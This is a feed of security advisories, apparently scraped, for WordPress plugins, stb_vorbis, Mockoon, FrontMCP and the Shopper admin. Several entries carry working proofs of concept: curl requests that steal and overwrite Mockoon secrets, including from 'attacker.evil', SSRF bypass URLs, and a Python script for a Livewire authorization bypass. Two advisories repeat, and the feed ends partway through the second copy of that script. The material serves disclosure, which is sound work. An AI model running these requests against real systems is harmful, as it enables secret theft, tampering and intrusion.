-Infinity
0
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.0.7 via the withdrawmethodfield parameter of the tutorsavewithdrawaccount AJAX handler. This is due to the handler lacking any capability or role check, relying solely on a nonce, while also passing attacker-supplied values through escsql(), which replaces every % character with a 66-byte HMAC placeholder token before the data is serialized and stored via updateusermeta(); when the meta is later retrieved, the placeholder is collapsed back to a single %, leaving serialized string length declarations 65 bytes greater than the actual content, and because array keys originate from entirely unescaped POST field names, unserialize() over-reads into attacker-controlled bytes, allowing injection of an arbitrary serialized object stream. This makes it possible for authenticated attackers, with subscriber-level access and above, to achieve remote code execution on the server by triggering the GuzzleHttp\Cookie\FileCookieJar POP chain, reachable via the splautoloadregister loader in TUTOR\RestAPI which loads the plugin's own bundled PayPal Composer autoloader, writing attacker-controlled content to an attacker-specified filename. This has an unauthenticated pathway when user registration is enabled, which is common for students and teachers to register, and it requires the monetization feature to be enabled.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The GEO my WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.5.5.3 via the gmwpostslocatorajaxinfowindowloader function. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. In environments where PEAR is installed with registerargcargv enabled, this file inclusion can be leveraged to write and execute arbitrary PHP code, achieving full remote code execution.

First published (updated )
Severity
7.5
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'compare' parameter in all versions up to, and including, 4.7.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is exploitable on any public page containing an rtMedia shortcode (e.g., [rtmediagallery]) when the rtmediashortcode GET parameter is set, because RTMediaQuery::query() merges $REQUEST into the internal query while only validating top-level array keys, allowing the nested 'compare' subvalue to reach the vulnerable sink without authentication.

First published (updated )
Severity
8.2
Buffer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

stbvorbis through 1.22 contains a heap buffer overflow in startdecoder() where the codebook multiplicands allocation size is truncated from sizet to int. Attackers can craft a malicious Ogg Vorbis file with large entries and dimensions values to trigger out-of-bounds writes, causing process crashes or heap corruption.

First published (updated )
Severity
8.8
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOONADMINTOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

- Read every MOCKOON env var used by the operator as secret material in templates (getEnvVar helper). - Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOONAPIKEY, MOCKOONJWTSECRET, …, or write process-level vars like AWSSECRETACCESSKEY that the surrounding runtime consumes. - Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc. - Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear). - Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

---

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

ts private options: ServerOptions = { ..., enableAdminApi: true, // ← default on };

packages/cli/src/commands/start.ts:200:

ts enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

ts enableAdminApi: true, // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

ts app.use(${adminApiPrefix}, (req, res, next) => { res.setHeaders( new Headers({ 'Access-Control-Allow-Origin': '', 'Access-Control-Allow-Methods': 'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With' }) ); next(); });

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

ts const setEnvVarHandler = (req, res) => { try { const { key, value } = req.body; if (key !== undefined && value !== undefined) { process.env[key] = value; // ← any process env, any value res.send({ message: Environment variable '${key}' has been set to '${value}' }); } else { throw new Error('Key or value missing from request'); } } catch (error) { res.status(400).send({ message: 'Invalid request' }); } };

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

ts app.put(${adminApiPrefix}/environment, (req, res) => { try { const environment: Environment = EnvironmentSchema.validate(req.body).value; if (!environment) { res.status(400).send({ message: 'Invalid environment format' }); return; } updateEnvironment(environment); // ← runtime mutation of every route response res.send({ message: 'Environment updated' }); } catch (error) { res.status(400).send({ message: 'Invalid environment format' }); } });

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

---

PoC

Live reproduction (2026-05-11, @mockoon/cli@9.6.1)

npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOONAPIKEY'}}. Start with:

MOCKOONAPIKEY="sk-operator-real-secret-DONOTLEAKxyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP :3100 (LISTEN) <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-operator-real-secret-DONOTLEAKxyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/APIKEY HTTP/1.1 200 OK access-control-allow-origin: {"key":"MOCKOONAPIKEY","value":"sk-operator-real-secret-DONOTLEAKxyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-POISONED-BY-ATTACKER"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42 {"id":"42","name":"BENIGNALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Content-Type: application/json" \ -d '{"key":"AWSSECRETACCESSKEY","value":"overwritten-by-attacker"}' {"message":"Environment variable 'AWSSECRETACCESSKEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" HTTP/1.1 200 OK Access-Control-Allow-Origin: Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{"key":"MOCKOONAPIKEY","value":"sk-EXFIL-FROM-attacker.evil"}' {"message":"Environment variable 'MOCKOONAPIKEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \ -H "Origin: https://attacker.evil" \ -H "Content-Type: application/json" \ -d '{ ...full env JSON with route response rewritten to body "ATTACKERPWNED", statusCode 418, header X-Pwned: by-attacker.evil... }' {"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99 HTTP/1.1 418 I'm a Teapot X-Pwned: by-attacker.evil Content-Type: application/json {"id":"99","name":"ATTACKERPWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge {"response":"Server has been reset to its initial state"}

---

Impact

In typical local-dev mode (CVSS 8.8 High):

- Secret read of every MOCKOON env var (API keys, JWT signing keys, OAuth client secrets). - Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds. - Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP). - Auth-token harvesting via transaction logs / SSE stream. - State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

- All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

---

Suggested fix

1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOONADMINTOKEN env var, compared with crypto.timingSafeEqual. 2. Stop sending Access-Control-Allow-Origin: on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin. 3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check. 4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix. 5. Add SECURITY.md with disclosure instructions. 6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.

First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

The published fix for GHSA-v6ph-xcq9-qxxj / CVE-2026-39885 added a direct hostname denylist for OpenAPI external $ref dereferencing, but the latest patched dependency mcp-from-openapi 2.3.0 still makes backend-origin requests to loopback when the target is reached through hostname resolution, redirects, or IPv4-mapped IPv6 syntax.

FrontMCP latest release v1.2.1 and current main still call OpenAPIToolGenerator.fromURL() and OpenAPIToolGenerator.fromJSON() from mcp-from-openapi 2.3.0 when loading OpenAPI adapters. An attacker who can cause a hosted or multi-user FrontMCP deployment to load an untrusted OpenAPI spec can trigger requests from the server to localhost or private services during tool generation.

This is a latest-version bypass of the previous fix. A direct http://127.0.0.1 $ref control is now denied and produces zero canary hits, while semantically equivalent loopback targets still reach the canary.

Latest versions checked

- frontmcp npm latest: 1.2.1 - @frontmcp/adapters npm latest: 1.2.1 - mcp-from-openapi npm latest: 2.3.0 - FrontMCP release tag: v1.2.1, commit db323976c66297d684a3e63bbfe1db6b310f2944 - FrontMCP current main checked: c15b79abe8c6a3cb71d4b7a3bafb8190730dc756

The release tag and current main both keep mcp-from-openapi 2.3.0 in package.json and libs/adapters/package.json, and both keep the OpenAPI adapter forwarding untrusted url, spec, and loadOptions.refResolution into OpenAPIToolGenerator.

Technical details

FrontMCP's OpenAPI adapter reaches the affected dependency paths:

- libs/adapters/src/openapi/openapi.adapter.ts imports OpenAPIToolGenerator from mcp-from-openapi. - loadOpenAPISpec() calls OpenAPIToolGenerator.fromURL(this.options.url, ...) and forwards loadOptions.refResolution. - The same method calls OpenAPIToolGenerator.fromJSON(this.options.spec, ...) and forwards loadOptions.refResolution.

In mcp-from-openapi 2.3.0, the patched guard is applied before the HTTP resolver fetches an external $ref. It checks the parsed URL hostname string against deny patterns for direct local and private addresses. The resolver does not resolve hostnames before allow or deny decisions, does not pin the validated IP to the fetch, and does not revalidate redirect targets before following them. It also misses IPv4-mapped IPv6 loopback forms.

As a result, these URLs are accepted by the guard but cause a loopback request from the backend:

- http://127.0.0.1.nip.io:<port>/schema.json, because the hostname string is not a direct IP even though it resolves to 127.0.0.1. - http://127.0.0.1.nip.io:<port>/redirect, because the first host passes and the actual request follows a redirect to http://127.0.0.1:<port>/schema.json. - http://[::ffff:127.0.0.1]:<port>/schema.json and http://[::ffff:7f00:1]:<port>/schema.json, because IPv4-mapped IPv6 loopback is not normalized and denied.

OpenAPIToolGenerator.fromURL() is also still unguarded for the initial OpenAPI spec URL. The PoC includes that as supporting evidence, but the primary report is the external $ref fix bypass.

Reproduction

The attached local PoC starts a loopback canary and loads generated OpenAPI specs using mcp-from-openapi 2.3.0. The request body schema contains a single external $ref for each test case. The canary records every backend-origin request.

Run:

bash cd /home/unkn0wn/securityaudit/frontmcp-ssrf-poc node repro-frontmcp-latest-ssrf-bypasses.mjs

Important output from a fresh run on 2026-05-25:

json {"name":"direct-127-denied-control","kind":"externalref","refUrl":"http://127.0.0.1:45117/schema.json","ok":false,"hitCount":0,"hits":[]} {"name":"dns-name-to-127-bypass","kind":"externalref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"127.0.0.1.nip.io:45117","authorization":null}]} {"name":"dns-name-to-127-bypass-with-allowedHosts","kind":"externalref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"127.0.0.1.nip.io:45117","authorization":null}]} {"name":"redirect-to-127-after-allowed-host","kind":"externalref","refUrl":"http://127.0.0.1.nip.io:45117/redirect","ok":true,"hitCount":2,"hits":[{"url":"/redirect","host":"127.0.0.1.nip.io:45117","authorization":null},{"url":"/schema.json","host":"127.0.0.1:45117","authorization":null}]} {"name":"ipv4-mapped-ipv6-dotted-bypass","kind":"externalref","refUrl":"http://[::ffff:127.0.0.1]:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"[::ffff:7f00:1]:45117","authorization":null}]} {"name":"ipv4-mapped-ipv6-hex-bypass","kind":"externalref","refUrl":"http://[::ffff:7f00:1]:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"[::ffff:7f00:1]:45117","authorization":null}]} {"name":"external-refs-disabled-control","kind":"externalref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":0,"hits":[]}

Controls:

1. Direct loopback $ref is denied and the canary records zero requests. 2. Numeric IPv4 variants tested as parser controls were denied with zero requests. 3. Default file:// resolution was denied in this runtime. 4. Setting refResolution.allowedProtocols: [] prevents the external request, but this is not the default.

Impact

The previous advisory documented SSRF during untrusted OpenAPI $ref dereferencing. The latest patched version still lets an attacker trigger backend-origin requests to loopback or private network services through equivalent URL forms. In hosted or multi-user FrontMCP deployments where users can import or configure OpenAPI specs, this can expose internal admin APIs, metadata-like services, and other network endpoints that external users cannot reach directly.

The impact depends on whether a deployment treats OpenAPI adapter configuration as trusted administrator-only input. If untrusted authenticated users can import specs, this is a high-impact SSRF fix bypass. If only a local administrator can configure OpenAPI specs, the practical severity is lower.

Remediation

1. Do not rely on parsed hostname denylist checks for external $ref URLs. 2. Resolve hostnames before the request and reject loopback, private, link-local, multicast, unspecified, and metadata ranges. 3. Normalize IPv4-mapped IPv6 before range checks. 4. Revalidate every redirect target before following it, or disable redirects during external $ref dereferencing. 5. Pin the validated IP to the actual request with a custom dispatcher, lookup hook, or equivalent connect-time control. 6. Apply the same protected client to fromURL() initial spec loads. 7. Consider disabling external refs by default for untrusted OpenAPI specs and requiring explicit allowlists. 8. Add regression tests for direct loopback, DNS-to-loopback, redirect-to-loopback, IPv4-mapped IPv6, numeric IP forms, file refs, and disabled external refs.

First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

The published fix for GHSA-v6ph-xcq9-qxxj / CVE-2026-39885 added a direct hostname denylist for OpenAPI external $ref dereferencing, but the latest patched dependency mcp-from-openapi 2.3.0 still makes backend-origin requests to loopback when the target is reached through hostname resolution, redirects, or IPv4-mapped IPv6 syntax.

FrontMCP latest release v1.2.1 and current main still call OpenAPIToolGenerator.fromURL() and OpenAPIToolGenerator.fromJSON() from mcp-from-openapi 2.3.0 when loading OpenAPI adapters. An attacker who can cause a hosted or multi-user FrontMCP deployment to load an untrusted OpenAPI spec can trigger requests from the server to localhost or private services during tool generation.

This is a latest-version bypass of the previous fix. A direct http://127.0.0.1 $ref control is now denied and produces zero canary hits, while semantically equivalent loopback targets still reach the canary.

Latest versions checked

- frontmcp npm latest: 1.2.1 - @frontmcp/adapters npm latest: 1.2.1 - mcp-from-openapi npm latest: 2.3.0 - FrontMCP release tag: v1.2.1, commit db323976c66297d684a3e63bbfe1db6b310f2944 - FrontMCP current main checked: c15b79abe8c6a3cb71d4b7a3bafb8190730dc756

The release tag and current main both keep mcp-from-openapi 2.3.0 in package.json and libs/adapters/package.json, and both keep the OpenAPI adapter forwarding untrusted url, spec, and loadOptions.refResolution into OpenAPIToolGenerator.

Technical details

FrontMCP's OpenAPI adapter reaches the affected dependency paths:

- libs/adapters/src/openapi/openapi.adapter.ts imports OpenAPIToolGenerator from mcp-from-openapi. - loadOpenAPISpec() calls OpenAPIToolGenerator.fromURL(this.options.url, ...) and forwards loadOptions.refResolution. - The same method calls OpenAPIToolGenerator.fromJSON(this.options.spec, ...) and forwards loadOptions.refResolution.

In mcp-from-openapi 2.3.0, the patched guard is applied before the HTTP resolver fetches an external $ref. It checks the parsed URL hostname string against deny patterns for direct local and private addresses. The resolver does not resolve hostnames before allow or deny decisions, does not pin the validated IP to the fetch, and does not revalidate redirect targets before following them. It also misses IPv4-mapped IPv6 loopback forms.

As a result, these URLs are accepted by the guard but cause a loopback request from the backend:

- http://127.0.0.1.nip.io:<port>/schema.json, because the hostname string is not a direct IP even though it resolves to 127.0.0.1. - http://127.0.0.1.nip.io:<port>/redirect, because the first host passes and the actual request follows a redirect to http://127.0.0.1:<port>/schema.json. - http://[::ffff:127.0.0.1]:<port>/schema.json and http://[::ffff:7f00:1]:<port>/schema.json, because IPv4-mapped IPv6 loopback is not normalized and denied.

OpenAPIToolGenerator.fromURL() is also still unguarded for the initial OpenAPI spec URL. The PoC includes that as supporting evidence, but the primary report is the external $ref fix bypass.

Reproduction

The attached local PoC starts a loopback canary and loads generated OpenAPI specs using mcp-from-openapi 2.3.0. The request body schema contains a single external $ref for each test case. The canary records every backend-origin request.

Run:

bash cd /home/unkn0wn/securityaudit/frontmcp-ssrf-poc node repro-frontmcp-latest-ssrf-bypasses.mjs

Important output from a fresh run on 2026-05-25:

json {"name":"direct-127-denied-control","kind":"externalref","refUrl":"http://127.0.0.1:45117/schema.json","ok":false,"hitCount":0,"hits":[]} {"name":"dns-name-to-127-bypass","kind":"externalref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"127.0.0.1.nip.io:45117","authorization":null}]} {"name":"dns-name-to-127-bypass-with-allowedHosts","kind":"externalref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"127.0.0.1.nip.io:45117","authorization":null}]} {"name":"redirect-to-127-after-allowed-host","kind":"externalref","refUrl":"http://127.0.0.1.nip.io:45117/redirect","ok":true,"hitCount":2,"hits":[{"url":"/redirect","host":"127.0.0.1.nip.io:45117","authorization":null},{"url":"/schema.json","host":"127.0.0.1:45117","authorization":null}]} {"name":"ipv4-mapped-ipv6-dotted-bypass","kind":"externalref","refUrl":"http://[::ffff:127.0.0.1]:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"[::ffff:7f00:1]:45117","authorization":null}]} {"name":"ipv4-mapped-ipv6-hex-bypass","kind":"externalref","refUrl":"http://[::ffff:7f00:1]:45117/schema.json","ok":true,"hitCount":1,"hits":[{"url":"/schema.json","host":"[::ffff:7f00:1]:45117","authorization":null}]} {"name":"external-refs-disabled-control","kind":"externalref","refUrl":"http://127.0.0.1.nip.io:45117/schema.json","ok":true,"hitCount":0,"hits":[]}

Controls:

1. Direct loopback $ref is denied and the canary records zero requests. 2. Numeric IPv4 variants tested as parser controls were denied with zero requests. 3. Default file:// resolution was denied in this runtime. 4. Setting refResolution.allowedProtocols: [] prevents the external request, but this is not the default.

Impact

The previous advisory documented SSRF during untrusted OpenAPI $ref dereferencing. The latest patched version still lets an attacker trigger backend-origin requests to loopback or private network services through equivalent URL forms. In hosted or multi-user FrontMCP deployments where users can import or configure OpenAPI specs, this can expose internal admin APIs, metadata-like services, and other network endpoints that external users cannot reach directly.

The impact depends on whether a deployment treats OpenAPI adapter configuration as trusted administrator-only input. If untrusted authenticated users can import specs, this is a high-impact SSRF fix bypass. If only a local administrator can configure OpenAPI specs, the practical severity is lower.

Remediation

1. Do not rely on parsed hostname denylist checks for external $ref URLs. 2. Resolve hostnames before the request and reject loopback, private, link-local, multicast, unspecified, and metadata ranges. 3. Normalize IPv4-mapped IPv6 before range checks. 4. Revalidate every redirect target before following it, or disable redirects during external $ref dereferencing. 5. Pin the validated IP to the actual request with a custom dispatcher, lookup hook, or equivalent connect-time control. 6. Apply the same protected client to fromURL() initial spec loads. 7. Consider disabling external refs by default for untrusted OpenAPI specs and requiring explicit allowlists. 8. Add regression tests for direct loopback, DNS-to-loopback, redirect-to-loopback, IPv4-mapped IPv6, numeric IP forms, file refs, and disabled external refs.

First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browsecollections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

- packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105

php // Line 40 - client-mutable, no #[Locked] public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...) ->recordActions([ Action::make('delete') ->label(('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->iconButton() ->color('danger') ->requiresConfirmation() ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); $this->dispatch('collection.add.product'); Notification::make() ->title(('shopper::pages/collections.removeproduct')) ->success() ->send(); }), ])

// Lines 91-105 - bulk remove action, no ->authorize(...) ->groupedBulkActions([ DeleteBulkAction::make() ->label(('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->requiresConfirmation() ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); $this->dispatch('collection.add.product'); Notification::make() ->title(('shopper::pages/collections.removeproduct')) ->success() ->send(); }) ->deselectRecordsAfterCompletion(), ])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browsecollections (no editcollections required).

bash SESSION="laravelsession=<yoursessionvalue>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

Step 1: Note the collection ID you wish to empty (e.g., collectionid=5). Step 2: Call the bulk table action on the CollectionProducts component, substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "{\"id\":\"COLLECTIONPRODUCTSCOMPONENTID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}", "updates": {}, "calls": [{ "path": "", "method": "callBulkAction", "params": ["delete", [1, 2, 3, 4, 5]] }] }] }' Expected: HTTP 200, all listed product IDs detached from collection 5, regardless of the caller having only browsecollections.

Proof of concept

python #!/usr/bin/env python3 """ CollectionProducts authorization bypass PoC.

Set these environment variables before running: BASEURL e.g. http://localhost SESSIONCOOKIE value of the laravelsession cookie XSRFTOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENTID Livewire component snapshot ID (from page source) COLLECTIONID integer ID of the target collection PRODUCTIDS comma-separated product IDs to detach (e.g. "1,2,3") """

import json import os import requests

baseurl = os.environ['BASEURL'] session = os.environ['SESSIONCOOKIE'] xsrf = os.environ['XSRFTOKEN'] componentid = os.environ['COMPONENTID'] collectionid = int(os.environ['COLLECTIONID']) productids = [int(x) for x in os.environ['PRODUCTIDS'].split(',')]

headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravelsession={session}', 'X-Livewire': '1', }

snapshot = json.dumps({ 'id': componentid, 'data': {'collection': collectionid}, 'checksum': 'UNLOCKEDPROPNOCHECKSUMNEEDED', })

payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callBulkAction', 'params': ['delete', productids], }] }] }

r = requests.post(f'{baseurl}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.statuscode}') print(r.text[:500])

Impact

A staff member holding only browsecollections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

php // packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked] // prevent client-side ID substitution public Collection $collection;

// Per-record action: Action::make('delete') ->authorize('editcollections') // add this ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); // ... }),

// Bulk action: DeleteBulkAction::make() ->authorize('editcollections') // add this ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); // ... })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browsecollections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

- packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105

php // Line 40 - client-mutable, no #[Locked] public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...) ->recordActions([ Action::make('delete') ->label(('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->iconButton() ->color('danger') ->requiresConfirmation() ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); $this->dispatch('collection.add.product'); Notification::make() ->title(('shopper::pages/collections.removeproduct')) ->success() ->send(); }), ])

// Lines 91-105 - bulk remove action, no ->authorize(...) ->groupedBulkActions([ DeleteBulkAction::make() ->label(('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->requiresConfirmation() ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); $this->dispatch('collection.add.product'); Notification::make() ->title(('shopper::pages/collections.removeproduct')) ->success() ->send(); }) ->deselectRecordsAfterCompletion(), ])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browsecollections (no editcollections required).

bash SESSION="laravelsession=<yoursessionvalue>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

Step 1: Note the collection ID you wish to empty (e.g., collectionid=5). Step 2: Call the bulk table action on the CollectionProducts component, substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "{\"id\":\"COLLECTIONPRODUCTSCOMPONENTID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}", "updates": {}, "calls": [{ "path": "", "method": "callBulkAction", "params": ["delete", [1, 2, 3, 4, 5]] }] }] }' Expected: HTTP 200, all listed product IDs detached from collection 5, regardless of the caller having only browsecollections.

Proof of concept

python #!/usr/bin/env python3 """ CollectionProducts authorization bypass PoC.

